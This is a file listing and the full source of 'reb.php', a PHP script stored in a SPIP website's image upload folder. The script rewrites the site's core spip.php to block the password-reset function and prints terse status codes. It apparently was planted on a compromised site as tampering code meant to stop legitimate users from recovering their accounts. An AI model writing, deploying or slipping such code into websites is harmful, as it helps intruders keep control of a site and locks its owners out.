File "reb.php"
Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/reb.php
File size: 611 bytes
MIME-type: text/plain
Charset: utf-8
<?php
$spipFile = $_SERVER['DOCUMENT_ROOT'] . '/spip.php';
$content = file_get_contents($spipFile);
$codeV = "<?php \n\$page = \$_POST['page']; if(\$page == 'spip_pass'){ die('La fonctionnalité de réinitialisation du mot de passe a été désactivée.'); }\n";
$pTag = "<?php";
$newContent = str_replace($pTag, $codeV,$content);
if(is_writable($spipFile)) {
file_put_contents($spipFile, $newContent);
if(strpos(file_get_contents($spipFile),'spip_pass') !== false) {
echo 'rebuildOK***111';
} else {
echo 'rebuildNOT...000';
}
} else {
echo 'fileNOTwritable-aaa';
}
?>